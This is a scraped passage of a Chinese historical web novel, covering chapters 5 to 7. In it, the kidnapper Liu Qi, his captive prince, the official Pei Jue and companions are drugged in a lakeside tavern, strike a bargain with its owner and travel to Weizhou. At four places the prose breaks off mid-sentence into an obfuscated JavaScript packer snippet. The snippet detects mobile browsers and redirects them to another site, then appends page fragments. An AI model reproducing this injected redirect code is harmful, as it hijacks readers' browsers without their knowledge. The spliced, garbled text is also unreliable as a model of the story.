“李大人,麻烦您再多派些人,每一处地方,每一个人都排查仔细。毕竟失踪的是皇子,既然皇子已经进了北关,那你我的性命便系在了一起,可千万不能有闪失。” “那是自然。”李令则一面招手让手下去查,一面说“裴大人一路劳累,不如同本官一起去挽风楼吃顿便饭?” 挽风楼?这可是华京最盛名的酒楼,在挽风楼吃顿便饭? 看来这李令则平日里没少挥霍。 “不用了。”裴决回绝“找皇子要紧,我四处看看。” 两人告辞,李令则着急回府,想着这次可是遇上了大麻烦了,这芋头扔也扔不掉,偏偏还遇上个不转弯的死脑筋,这回轻则官位不稳重则小命不保了。 裴决几乎要将北关城内走遍了,官府的人来来回回地巡视搜查,柳祈定然不敢在此刻出来。 可他会躲在哪里? 他那样的人十分自负,以为自己能下一手好棋,肯定不会躲在隐蔽的地方,说不定此刻他正在哪里窥视着这一切。 裴决环顾四周,那座建在湖中央的挽风楼十分显眼。 五层楼,若是站在顶层能俯瞰整个北关,那是一个绝佳的盯梢点。 他叫住身边的一个小官吏问“挽风楼去查了吗?” “回大人,查过了,去了两拨人,都没找到可疑的人。” “别的地方也没有?” “回大人,真的没有。” 小吏神色为难,想着早知道刚才从他身边过时就走快一些了。 裴决似乎看出来了这里的人都拿这件事当大难,连带着拿他也当瘟神似的,巴不得绕着他走。 为官者竟然会有这等贪生怕死之徒! 裴决颇为恼火地放走了小吏。 这些人不配合他也没法子,李令则想将他踢向别处去他自然不能遂了他的意。 这李大人越怕因此事丢了官职,他便偏要用这件事逼一逼他。 挽风楼灯火通明,裴决独自往那处繁华去。 过了桥便有几个穿着罗裙的姑娘和围着帕子的伙计招呼客人往里走。 “公子一个人吗?”少女问。 裴决点了点头。 少女又说“那您往里请,我们这里的吃食跟华京的有很大的不同,保证您吃了还想吃!” 她将裴决交到了另一个少女的手中,少女带着他在一楼找了一个位置坐下。 天色还未完全暗下来,此时酒楼里已经有不少食客了。 裴决点了两个小菜,仔仔细细地观察着来往的每一个人,进来的人几乎都习惯性地把围在头上的东西摘了。 一楼没发现可疑之人。 二楼倒是也没什么异常。 三楼…… 裴决感觉到有人在看自己,目光回望过去,发现三楼的楼梯附近坐了两个男人,面朝自己的那位公子面庞十分年轻,另一位身形清瘦。 目光交汇,那公子也不打算挪开视线,反而紧紧盯着裴决,眼底渗出来几分笑意,带着意味不明的挑衅。 这人……是柳祈! 他果然在这儿,还这般胆大妄为。 裴决快步上楼,柳祈见到他时表情依旧镇定,甚至还主动行礼。 “裴大人,一路劳累,坐下休息休息罢。” 裴决沉下脸,也学他讲话“多亏了柳大人,否则我也不会一路劳累来到这里。” 和他费口舌没什么意义,裴决偏头看向另一个年轻公子。 她喝着茶,仿佛眼前这两个人跟她毫不相干似的。 但她绝不可能跟柳祈无关。 于是裴决又仔仔细细地将她看了一遍,束发,衣着简单,腰间配有短剑,面庞清秀,细细看来倒有些像女子。 特别是那双眼睛,眼尾狭长微微上翘,目光流转间如月下凌波,格外勾人注目。 “你盯着我做什么?” 沈韫蹙眉。 裴决收回目光,重新看向柳祈“四殿下呢?” “裴大人先坐,四殿下自然在安全的地方,不如我们先聊聊?” “我和你一个绑匪有何好聊的?” 柳祈笑着“就聊你要如何才能从我手里救回四殿下。” 裴决实在看不惯他那张虚伪的笑脸,无奈现在四殿下在他手中,他只能忍着。 于是他不情不愿地坐下,怒声道“你有什么条件尽快说。” “条件自然是要等合适的时候再提。不如你先说说你有什么想问的吗?” 当然有。 裴决指了指沈韫,问“她是谁?” “是我的盟友。” “共犯?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419223|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈韫出言反驳“不是。” “那是什么?” “他把我骗上了马车。” “骗?” 裴决看了看柳祈,又看了看沈韫。再怎么说沈韫也会武功,要真被骗了想从柳祈这样的文弱书生手中逃走那不是易如反掌。 柳祈笑得眼角湿润,颇有兴趣地盯着沈韫“师兄这是什么意思?” 沈韫瞪了他一眼“别叫我师兄。” 柳祈委屈巴巴地看着裴决“我今日说要在这儿等你,师兄便生我气了,我这师兄生起气来可不得了,得气好久呢。” 这人怎么撒起谎来信手拈来。 “你说她是你师兄?这么说劫走皇子是你老师的主意?”裴决问。 “是我的主意,他们都只是帮凶而已。我让我爹从宫中将四皇子骗出来,再下药将他带走,师兄在复州城外接应我,然后我们就来了北关。” “那你绑架皇子目的何在?华京的检举案也是你做的?” “全是在下一手策划。” “目的呢?” “我的目的很简单,绑架皇子就是为了谋权夺位。” 真是天大的笑话。他一个位卑言轻的读书人,妄想造反?他知道自己的下场是什么吗? 裴决将杯中的酒一饮而尽,道“你既不是皇亲国戚又不是世家大族,你能掀起多大的浪?” 柳祈轻笑,反问“这不是已经掀起一道巨浪了吗?” 是啊,他真是好大的胆子。 真是好硬一张嘴。 几杯酒下肚,柳祈一直在跟裴决绕圈子,裴决打算换一个方向。 于是他转头面向沈韫“我不管你跟他什么关系,只要你肯告诉我四皇子在哪儿我可以向圣上求情将一切过错推到柳祈身上。” 沈韫心想这人给的条件还真有些诱人。不过,她恰好不能交出梁昭。 “裴公子,被绑架的人是皇子,天潢贵胄,圣上的亲儿子。你觉得他会放过我吗?” “那我放你走。我只要柳祈和梁昭。” “抱歉,我也只要柳祈和梁昭。” 好得很,这两个人不愧能成为一条船上的人。 又一杯酒下肚,不知道是不是被这两人气的,裴决竟觉得脑袋昏沉沉的。 “你到底要怎样才肯交出四皇子?” “裴大人。”柳祈道“一直都是你在问问题,这不公平。该我问你一个问题了。你愿意加入我的队伍吗?” “什么?”他只当时他听错了,震惊地看向柳祈。 柳祈弯起眉眼,重复了一遍“你加入我们,四人同行,如何?” 沈韫和裴决脸上都写满了不可置信。 “你……”裴决几次欲言又止,他实在是找不出什么话来回答他。 又几杯酒饮下,裴决此时已经没什么力气了,可他平日不止如此酒量。 登时他便明了,这酒不对劲。 可他已经无力做出反抗了,哐当一声便趴在了桌上。 “怎么回事?你给他下药了?”沈韫问。 “当然没有,我又不是毒大夫,哪儿来那么多药?” “那他怎么会……”沈韫起身,正准备去探一探裴决的鼻息,可顿觉脑袋发晕,四周的景象天旋地转。 她低头看了眼杯中的残酒,道“酒有问题!” 柳祈的药劲也上来了,视线中沈韫的脸越来越模糊,直到最后眼前一片黑色,一直到有人架着他上楼,他的意识都还清醒。 5. 交易 耳边似乎有猫叫声,门被人推开,一阵风灌入。 “掌柜,人都在这儿,我已经将他们的手脚绑住了。” 一个娇媚的女声入耳“一个重金悬赏的逆贼,一个来路不明的江湖人,还有两个朝廷的宝贝,这样的筹码足够跟狗官府好好谈谈了。” “娘子这次一定能问出许郎君的下落。” 猫叫声似乎离得更近了,柳祈的胸口突然一重,好像有什么东西踩了上来。 “翻雪,快过来。”女人对着白猫唤道。 白猫抬头,对着主人叫了两声,双脚轮番踩着柳祈的衣领处。 女人察觉异样,上前将白猫抱入怀中,瞥见柳祈衣领处露出的一根编绳,绳下似乎有一个坠子。 她轻轻将编绳挑起,那只细腻如脂的玉哨便露了出来。 绿衣少女惊道“他难道还有援手?” 女人眯起眼认真地看着手中的玉哨。 玉哨上尚有他身体的余温,如此细腻的料子只拿来做一只哨子不可惜吗? 她将玉哨翻了个面,一个简单的纹样便出现在眼前。 只有几笔,却再眼熟不过。 是青鸟纹! 五年前,一封印有青鸟纹的信带走了她的夫君。她苦寻了五年,竟在今天又看见了这个纹样。 怀中的白猫悠闲地晃着尾巴,女人将玉哨放回原处。 “你说他叫柳祈?” “是。听说他的父亲是太傅,他是柳家唯一的子嗣。” 太傅之子,和我夫君有何干系? 看来这人还暂时不能交出去。 “把人看好了,他一醒你便来找我。” “好。” 彻底失去意识前柳祈只听到了这些对话,之后他就做了一个好长的梦。 梦里的家雍容华贵,他看见了母亲的面容,蛾眉皓齿,气啸若兰。 母亲还是对他说着同一句话“琛儿,你的名字是你父亲取的。琛,是珍宝的意思。” 可他始终不明白这句话的意思。 天将微亮,沈韫先醒了过来。 一张狭小的床上挤了四个人,沈韫艰难地翻身坐起,看了眼躺在身旁的两个男人。 梁昭背对着她,呼吸平稳。 柳祈面朝着她,眉头紧皱,含糊不清地唤了两声母亲。 看样子昨夜那酒中的药可真是足,竟让他们一觉睡到了现在。 可是谁会对他们下药呢? 他们只顾着和裴决周旋,竟让那人钻了空子。 沈韫动了动胳膊,发现绳索紧得出奇,她费了好些功夫才解开绳子。 门口有人守着,是那个送酒来的绿衣少女。这么看,绑他们在此处的就是酒楼的老板娘了。 走门怕是走不出去了。 沈韫又挪到窗边,想换条可行的路。 她小心翼翼地推开窗户,一阵冷风灌入,她不禁打了个寒颤。 她往下看了一眼,足足五层楼高!楼下便是湖。 要从窗户走也不太可能了。 沈韫坐回床边,目光重新落回那三个人身上。 一个身价不菲的皇子,可惜中了毒,昨夜方服下第一剂解药。 一个单刀赴会的心腹,带着御命,杀柳祈救皇子。 一个不知死活的狂徒,妄想挟持皇子来演一出疯戏。 也不知道酒楼的老板娘想要的到底是他们中的谁。 不行,她不能就这么干坐着。 沈韫轻手轻脚地摸上柳祈的外衣,他睡得正熟,现在是找解药的好时候。 怀中? 没有。 那腰间? 也没有。 解药会被他放在哪儿?这么重要的东西难道没有随身携带? 沈韫不死心,又仔仔细细地摸了一遍。 这一次她摸到了柳祈胸前挂着的那只玉哨,玉哨的温度在她掌心散开,她仔细地看着那只哨子的样式。 有些眼熟。 她凑得近了,没有注意到已经睁开眼的柳祈。 “沈姑娘趴在我身上做什么?” 头顶一阵温热,柳祈略有些沙哑的声音响在耳边,吓得沈韫猛地抬头。 四目相对,柳祈的眼中似是含笑。 沈韫的视线随着他的目光下移,发现自己手中还拽着他脖子上的编绳。 这样的姿势甚是不对劲。 她慌张丢了手里的东西,坐直了身子。 柳祈笑出了声,道“沈姑娘帮我松松绳吧,绑了这么久手都麻了。” 沈韫怒目而视,不情不愿地替他松了绑。 柳祈将身上的绳子扯下,那枚玉哨被他重新藏回衣服里。沈韫还在这坐着,想来是没有出路能走。 “门外守着的是酒楼的人?”他问。 沈韫点了点头“是掌柜身边的那个绿衣少女。” 看来不是梦。那个说话的女人就是酒楼的掌柜。 听她的意思,她绑他们是为了向官府问一个人的下落。 那么他也许还有筹码能和掌柜谈谈。 不过是要找一个人而已,楚家的生意遍及各地,不算什么难事。 “叫门口的人进来吧。” 沈韫不可思议地看向他“你还要去通知绑匪你醒了?” “这是我们唯一能出去的办法。” “你想做什么?” “问问他们想要什么,说不定我给得起呢?” 门口的人似乎察觉到了里面的动静,绿衣姑娘推门而入。 她对着柳祈道“这位公子,掌柜有请。” 单叫走他一个人? 沈韫看向柳祈,似在拷问。 为了自证,柳祈替她问出心中疑惑“为何单独请我过去?” “掌柜有事想问公子,公子随我去了便知道了。” 她不愿多说,柳祈也不再追问。 他随着绿衣少女走出了房间,门外站着两个腰间挂刀的男人,看样子武力高强,不是好对付的。 掌柜既然能放心只让这二人把守,那便说明要想走出这房间不是易事。 这么一来他便一点也不担心沈韫会趁机带走梁昭了。 房内,香炉轻烟,雕花檀木。 掌柜早已沏好了茶。 “柳公子请坐,昨夜那酒可还尽兴?” “多亏掌柜,我难得能睡个舒服的觉。” “我这人不喜欢绕圈子。我在公子酒中下药是想换朝廷的赏金,可现在公子若能解我一惑,我亦可放了你们。” “掌柜想问什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419224|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你身上的玉哨是从哪儿来的?” “母亲给的。” “你可知那上面的青鸟纹有何用处?” 柳祈记得母亲说过,青鸟纹是用来调动暗卫的,这是他母亲留给他的唯一的东西。 她怎会知道这个? “掌柜不妨直说,我若是知道定不会隐瞒。” 晚娘犹豫了片刻,道“我虽不太了解公子,但此事于我而言至关重要,哪怕有一丝线索我也要查下去。既然公子这么说了,我便信公子一次。” “我叫虞晚娘,曾与夫君共同经营这家酒楼。可五年前,夫君在华京被官府的人抓走,我几次想去探望官府都不肯放我进去,我也曾试过为夫君申冤,但所有人都说没有见过夫君。我实觉蹊跷,四处打探都没有一点消息,夫君仿佛消失了一般。” 柳祈皱眉“五年前的冤案?我一介逃犯,怕是帮不了你。” “可让我夫君去华京的那封信上印有青鸟纹,信上只写了四个字:速入华京。如此蹊跷的信,可夫君却立马动身,走之前他让我一定要守着这个酒楼,他会传消息回来,可再次听到他的消息就是他被官府抓了。” 柳祈听懂了,他的玉哨上有青鸟纹,所以晚娘觉得这一切他也许会知情。 他问“你夫君叫什么?” “许常,北关人。” 他的暗卫不算多,里面连一个姓许的人都没有,晚娘的夫君当真是他的人吗? 不管怎么说,眼下最重要的是出北关。 柳祈道“劳烦晚娘姐姐给我一张许郎君的画像,我会帮你找找的。” “那封信是你给我夫君的?” “五年前这枚玉哨不在我手里,但我也许能查到是谁送出去的信,毕竟现在能拿着玉哨调动人的是我。” “好。公子愿意帮我,我自是感激。可我不做亏本买卖,梁昭得作为押金放在我这儿。待公子拿出我夫君的消息,我便将梁昭还给公子。” 真是好热闹,又来了一个分食的豺狼。 柳祈轻笑,道“晚娘姐姐这样做生意,我的风险不就大了吗?万一消息找到了你不肯放人呢?又或者你想两头通吃,拿着梁昭去找官府换消息呢?” “我虞晚娘说话算话决不食言,公子想要何担保?” “我不要担保。”柳祈态度坚定“我,梁昭,沈韫,还有裴决,我要我们四个一同出城。只有出了城我才能查到你夫君的消息。” 晚娘冷脸道“公子难道是把我当傻子?你们四人出了城若是反悔怎么办?” “那你大可将我送给官府,找他们问你夫君的下落。看看五年前就问不出的消息如今可能问出来了?” “你!” 晚娘自知他所说不无道理,狗官府五年前就只会搪塞推脱,五年后未必能拿出结果。 说到底她是民,再有功她也只是民。 “娘子。”门口传来知蔻的声音“楼上的人都醒了。” “我知道了。”晚娘回过身,对柳祈道“我可以答应,不过我得和你们一起出城。” 外面天已大亮,官兵依旧一轮接一轮地搜查。 从昨夜起便没了裴大人的消息,李令则又喜又怕,心里祈求着这位大人只是提前出城了,千万不要再在这儿丢一个朝廷命官了。 6. 渭州 官府的人又来了挽风楼,这一次是来问裴决的下落。 晚娘让知蔻备好马车,便独自一人去应附那些官兵。 “几位大人又来排查了?” “虞娘子,这次啊我们是来问裴大人的消息。听说昨夜裴大人进了你这酒楼,你可见过一个红衣束发的大人?” 晚娘故作苦想,道“挽风楼每日食客众多,我记不起来是否见过这样一个人。这样,各位大人进去问问我酒楼的小厮们,说不准他们有印象。” “多谢虞娘子,事出紧急,耽误你酒楼的生意了。” “不耽误不耽误,正巧问完各位便留下来休息休息,最近新上了鹿肉脯,各位大人一定要尝尝。”说着晚娘招呼小厮来将几人带进去。 为首的那位官爷突然住了步子,问“怎么今日不见虞娘子身边那位绿衣丫头?” 晚娘笑道“我让她去帮我备马车了,我有私事得出趟城。哦对了,我还忘了,城门尚未解封吧?” 那官爷摆了摆手,道“不碍事,挽风楼的虞娘子他们都认得的,您的马车可以通行。” “那便多谢大人了,今日还请各位不必见外,我这里的东西只要是各位看得上的都是挽风楼的福气。” 送走了他们晚娘便上了知蔻备好的马车。 裴决和梁昭被绑着绳堵了嘴,坐在最里面,沈韫和柳祈对立而坐。 晚娘接过知蔻手中的白猫,坐在了柳祈旁边。 “我不在的时候你替我守好酒楼,任何事都可由你来做决断。” 绿衣少女答道“娘子放心,我一定守好酒楼。” 她颇有顾忌地看了眼柳祈,补上一句“娘子要万分小心。” 马车扬长而去,城门口的守卫认得这辆马车,并未过多盘问便放了行。 出了北关,他们原本该一路南下去瓜州。可此时裴决尚未拉拢,去瓜州不是良策。 于是柳祈道“听说挽风楼消息灵通,不知道晚娘姐姐能否帮我找一个人?” “你要找谁?” “萧家。” 两个字落地,车内的人都似听到了什么惊天轶闻,瞠目结舌地看向柳祈。 萧家可是在十一年前通敌卖国的罪臣。 萧家家主萧继白也是当朝丞相梅映雪的挚友,当年萧家问斩还是梅映雪亲赴刑场。 这么多年了,萧家的事一直是梅映雪的禁忌,连裴决也不曾知晓太多。 柳祈为何突然将陈年旧事翻出来? “你说……谁?”晚娘追问。 柳祈启唇,泰然自若答“北关萧家。” 梁昭此刻终于愿意相信柳祈绑他真的是想造反,可他还是想不通,一个无心仕途的贵公子,能掀起什么风浪?他造反的目的是什么?难道他想做皇帝? 不,这太可笑了。 柳祈真的,不怕死吗? 沈韫越发看不懂老师和这个柳祈想要做什么了,先是绑走皇子,又是要找叛贼,他们当真要把路走成绝境吗? “柳公子,你搞错了吧?”晚娘的声音不稳“萧家是叛臣,当年北关一个活人都不剩,萧家的其他人也都被押回了华京问斩。你要找的,可是死人。” “当真都死了吗?押回华京的路那么远,那些人难道真的甘愿赴死?” “一群叛贼,死得其所。他们还有什么脸面逃命?” “晚娘只需要告诉我,萧家的消息你有还是没有。” “你和萧家的人有什么关系?” “仇人。” 又两个字落地,轻似羽毛。 车内的人再次瞠目结舌。 太傅之子和远在北关的萧家会有何仇? “柳公子,您这是在为难我。我说了,当年北关一个活人都不剩。” 柳祈摇了摇头“生死面前谁都想活着,不可能没有人逃出去。” 就连当年的宫中尸横遍野,也有两个人活着从万千尸骨中逃了出去。 说完,他突然转头看着裴决,意味深长地道“何况梅映雪和萧继白感情甚好,梅丞相菩萨心肠,当真可以眼睁睁看着至交被灭门吗?” 他这是什么意思?裴决瞪着他。 他又接着问道“听说裴大人是梅丞相回城途中救下的遗孤,梅丞相当初是从哪里回城?” 这又是什么意思? 难道是说…… 不,不是的。父亲说过,他当年是在华京城外捡到他的。 柳祈在给自己下套。 与此人周旋只会越陷越深,他最好保持清醒别着了他的道。 裴决闭上眼不再理会。 柳祈只是勾了勾唇角,挑眉看向晚娘。 晚娘咬咬牙,道“我确实不知道萧家的消息,不过当年萧家的人被押送回京,一路途径京口、渭州、复州,这三个地方也许有你要的人。” 离北关最近的是京口,可柳祈却说绕开京口先去渭州。 “京口是覃欲州驻守,他是跟着梁康成打江山的人,可没那么好骗,我们去了无疑是自投罗网。” “你当真要找萧家的人?”沈韫问。 “当然。” “你跟他们有什么仇?找到他们之后打算做什么?” 柳祈冷声道“杀了他们。叛贼余孽,凭什么活着。” 如果只是为了和萧家的私仇,那绑架四皇子的用意何在? 他没说实话,或者没说全部实话。 不过沈韫不在意,在和萧家有仇这一点上她再次和柳祈目的一致。 杀了萧贼余孽,报仇雪恨。 比起柳祈,沈韫实在是不会掩饰自己的情绪,喜怒都形于色。 柳祈自然注意到她的变化,饶有兴致地盯着她的面庞。 “师兄和萧家也有仇?” 沈韫倒不介意被看穿“萧贼害我家破人亡,若当真还有余孽活着,我定要千刀万剐以慰亡灵。” 十一年前若不是萧继白从北关撤兵,建京就不会被血洗沦为邾国领地,她也不会与父母失散。 如此罪臣就该挫骨扬灰。 柳祈心情大好,撩起垂帘对车夫道“去渭州。” 马车大概跑了一天,到了渭州时已是暮色。 车夫给他们找了一家还算不错的客栈,沈韫和晚娘将被绑着的两人带上了楼,柳祈则去了后厨。 快到亥时了,柳祈才端着一碗不知道什么东西进来。 他走过去,将裴决嘴上的布拆了,给他松了绑。 不出意外,裴决想要钳住柳祈,但沈韫抢先一步抽出了腰间的短剑抵在裴决脖子上。 “裴公子,你可仔细了,这剑快得很。”柳祈嘴角噙笑,站直了身子俯视他。 裴决冷哼一声“柳望月,你真是好大的胆子,先是绑架皇子又是绑架朝廷命官,你的帮凶到底还有多少人?” 他看向晚娘,目光凌厉。 晚娘安抚着怀中的白猫,道“我不是他的帮凶,我只是恰好与他有一桩生意要做。” “少拿这些话来诓我,你以为你逃得掉吗?” “大人还是消消火,你要对付的不是我,是他。” 晚娘抬起食指指向柳祈。 他正看戏似的望着他们。 “裴大人,我提的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419225|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见你考虑得怎么样了?” “哼,柳望月,你凭什么觉得我会倒戈?” “裴大人完不成圣上御令,回去也难辞其咎,为何不替自己另谋出路?” “我唯一的出路便是杀了你救回皇子,我跟你实在是做不了同路人。” 天色已深,白猫趴在主人怀中睡得安稳,桌上的药已经散了热气。 沈韫开口“别跟他废话了,快到亥时了,梁昭该吃药了。” 她不能不急,坐在床上的梁昭脸色不太好,不知道是不是因为绳索太紧,他皱着眉不舒服地挣扎了几下。 柳祈便给他松了绑,将药碗递到他跟前。 “喝了。” 梁昭怒目而视,接过药碗一饮而尽。 有些奇怪。 没有反抗?没有呼救?甚至连一句话也没有? “你给他喝的什么!”裴决吼道。 他的情绪激动,柳祈笑颜逐开。 “哦,我还没告诉你吗?他中毒了,我下的药。” “柳望月!你当真是活腻了吗!” 柳祈轻笑一声“裴大人省省力气,否则我也要考虑是否要毒哑你了。” “你给他下的什么毒?”晚娘问。 “这不重要。只要我和梁昭在一起,他的毒就能解。” “不早了,”他道“今晚怎么睡?” 房间只有两个,可他们有五个人,对于怎么分房每个人都各执一词。 出钱的是晚娘,她自然不愿意让柳祈和梁昭待在一起,万一他带着梁昭走了那她不就亏大了。 沈韫和柳祈更是不放心裴决和梁昭住一间。 于是,最后便成了晚娘和梁昭一间房,剩下三人一间房。 沈韫将床让了出来,拿了床被褥便准备在塌上歇下。 她一女子和大男人同睡一床确实不妥,可就让她睡这儿? 柳祈于心不忍“你去睡床,我和裴大人睡这儿。” “这塌这么小怎么睡两个人?” “沈……”姑娘二字还未说出口,柳祈便被沈韫狠狠瞪了一眼。 她道“柳公子快去睡吧,明日还要事要做。” 这家伙根本就不领情! 跟小时候那人简直如出一辙。 次日清早,客栈外的早市便人来人往。 柳祈独自出了门,昨日他已经在裴决面前提到过萧家,如今他需要一个至关重要的“证据”来佐证他的猜想。 很快就有一出好戏上演。 人群熙攘,柳祈穿梭其中,偶然听到商贩在议论一件怪事:秋水书院里的人突然集体绝食,如今已有三天未有人出来过了。 听说此事还牵扯着一桩命案,举人陈竺的命案。 从客栈出来,一直到盈果桂花铺,一路上到处都有人在议论这两件事。 柳祈便向桂花铺掌柜打听。 掌柜道“秋水书院是渭州顶有名的书院,出了好些举人,陈竺就是其中一个,刚上任不久。秋水书院有一位年长的教授,教书十余年,曾在书院讲学时为萧家叛军辩解,后因此事被罚禁足思过一个月。” 为萧家辩解过?看来真是找对地方了。 “那人现在可还在书院讲学?” “还在。不过这几天书院绝食,任何人都进不去,也没人出来。此事关系读书人,闹得很大,渭州官府层层上报,朝廷那边说是会派人来。” “派谁来?” “当朝驸马。驸马也是寒门读书人出身,此事他来管定会让书院众多学生信服。” 这下可好了,渭州马上也要成危巢了。 7. 书院 裴决有很多机会可以逃的,出了客栈直奔官府,绑了柳祈再严刑拷打问出解药的下落。 他就能带着皇子顺利回华京复命。 可他没有走。 柳祈昨日问他的两句话让他彻夜未眠,倒不是被他挑起了疑心,而是裴决确确实实有一段陌生的记忆。 父亲说过他是从华京城外捡来的,是战乱时被丢下的遗孤。 可裴决却记得他生活过的地方风霜很重,他最爱吃的叫杏酪乳,记忆中的家里有一把漂亮的剑,那个时候他还拿不动它。 记忆中早已没了父亲的面容,可他还记得父亲腰间总会挂着一只银铃,那是母亲送的,父亲挂着从不离身。他记得铃铛的声音,一听见便知道是父亲回来了。 他还记得他跟着好多人一起坐车,他的生父穿着囚衣,却一点也不像囚犯的样子。 那段路很长,他经常会摘一种长长的草编各种各样的小玩意逗他开心。 他的父亲是囚犯,他们在一个城外休整之后便走散了。 有人趁裴决熟睡将他带走,再之后便遇见了梅映雪。 这段记忆总是翻涌出来,可梅映雪却说他记错了,那时战乱,囚犯、难民随处可见,他一定是记错了。 对于他的来历,梅映雪好像很是避讳。 裴决从未在意过,毕竟双亲已无,执着过去毫无意义。 可如今他倒是真想知道他的生父到底是谁? 这么多年梅映雪始终闭口不谈他的来历,难道这一切真如柳祈所说? 早市之后,街上几乎已经没有闲逛的人了。 柳祈在这时回来,还带着两份糕点。 他将糕点放在桌上,对沈韫道“接下来的事只能麻烦师兄了。” 沈韫警惕地看着他“什么事?” 这人做事之前从来不会商量,谁知道又给她找了一件什么差事。 “秋水书院,我要师兄帮忙找一个人。” “找谁?” “宋鹊。这人在书院讲学十余年,应该不难找。” “你查到什么了?” “此人曾为萧贼辩解,因此被禁足。找到他,应该能问出我们想要的线索。” “你的消息这么灵通?” “师兄不必对我疑心。早市上人人都在议论这件事,前几日渭州出了命案,华京派来的少卿就快到了。朝廷要抓的人是我,要救的人是四殿下,出了北关再无消息的人是命官裴决。我们三人都不适合抛头露面,所以找人的重担只能落在师兄身上了。” 看来他们迟早要和朝廷的人正面交锋。 沈韫道“好,我去查查。” 她正欲走,柳祈拦住了她。 “书院里的人如今在绝食,师兄若进去了最好想办法将宋鹊带出来。” “我一人如何能将他带到这里?” “我的暗卫已经进城,他会在外接应你。” 暗卫进城了还让她去找人?这柳祈当真将她用得顺手。 沈韫用力抽出手,头也不回地走了。 秋水书院外围了不少看客,书院大门紧闭,门口的人纷纷下注猜里面的人还能坚持多久。 沈韫绕着书院看了一圈,这个书院不算很大,有一个偏门,同样紧闭着。 她抬头看了眼围墙,不高,翻进去对她而言不是难事。 于是她小心翼翼翻过墙,院内无人,安静地出奇。 书院的门都上了门闩,还抵上了柱子,应该是官府的人曾硬闯过,他们为了堵人便想了这么个法子。 她放轻步子,沿着走廊找到了讲堂。 书院的学生都在这静坐,几位讲学的教授坐在一起。 这些人个个面色苍白嘴唇干裂,看样子便是饿了很久。 一,二,三,四。沈韫数了数,一共四位教授,只有中间那位看起来最年长。 那么他应该就是宋鹊了。 她不能惊动这些学生,只能让宋鹊自己出来。 沈韫环顾四周,书院环境清雅,讲堂内的人都沉心静气,唯一的噪音便是墙外看客的议论。 宋鹊在意萧家的事,那么用这件事将他引出来便是最佳的法子。 她又翻墙出去,在杨柳树下见到了柳祈说的那个帮手。 那人覆面,面具之下有一双星目。 “公子怎么称呼?”他问。 “姓沈。” “沈公子,你叫我常叙就好。人你带出来了吗?” “还没有。”沈韫道“需要你去帮我找人演一场戏。” 一刻钟后,偏门后多了几个人,也议论起秋水书院绝食的事。 除此之外,他们还提到了十一年前北关失守的事。 “最近真是越来越不太平,前阵子才死了个举人,现在书院又闹成这样。” “是啊,就连皇子都失踪了。” “你们不觉得这也许是一场报复吗?” “什么意思?” “当年北关将士尽数命丧战场,而他们的妻儿却要被斩杀问罪,任谁都死不瞑目。” “这话可不能乱说,当年的事早就下了论断,是他们死有余辜。” 死有余辜。 墙内的人眉头紧皱,这四个字仿佛一阵野火,席卷了他半辈子的人生。 那些人才不是死有余辜!一切都只是伸冤无道而已! 偏门被猛地推开,一个身形消瘦的长者站在门里。 他的目光太过怨恨,以至于门外的那几个人登时便不敢再说半个字。 “无知小儿,此处岂是尔等乱嚼舌根的地方!” 那几人哆嗦着看向在一旁抱臂而立的沈韫,见她点了点头,便逃也似的留下一句话。“老先生莫怒,我们这就离开。” 宋鹊便猜到了是有人故意要引他出来。 “你找老夫?” 沈韫开门见山“还请宋先生跟我走一趟。” 宋鹊甩了甩袖子,怒道“老夫哪儿也不去,你请回吧。” “宋先生不问问我是谁派来的吗?” “用如此伎俩诓我露面,想来也不是什么正派人士,就别说出来脏了老夫的耳。” 沈韫哼笑一声,他说得不错,柳祈确实算不上什么正派人士。 不过,她还是得带他回去。 “宋先生,我不太会劝人,你是打算自己走还是我带你走?” 宋鹊扭过头,不以为然“青天白日,你要如何带我走?” 这老学究当真倔得很。 沈韫抬眼示意躲在后面的常叙,常叙便快步上前将宋鹊打晕了放在早就准备好的马车里。 偏门在一处狭窄的巷子里,这里平常少有人经过,他们驾车绕过正门,直奔客栈。 “人我带回来了。”沈韫对柳祈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 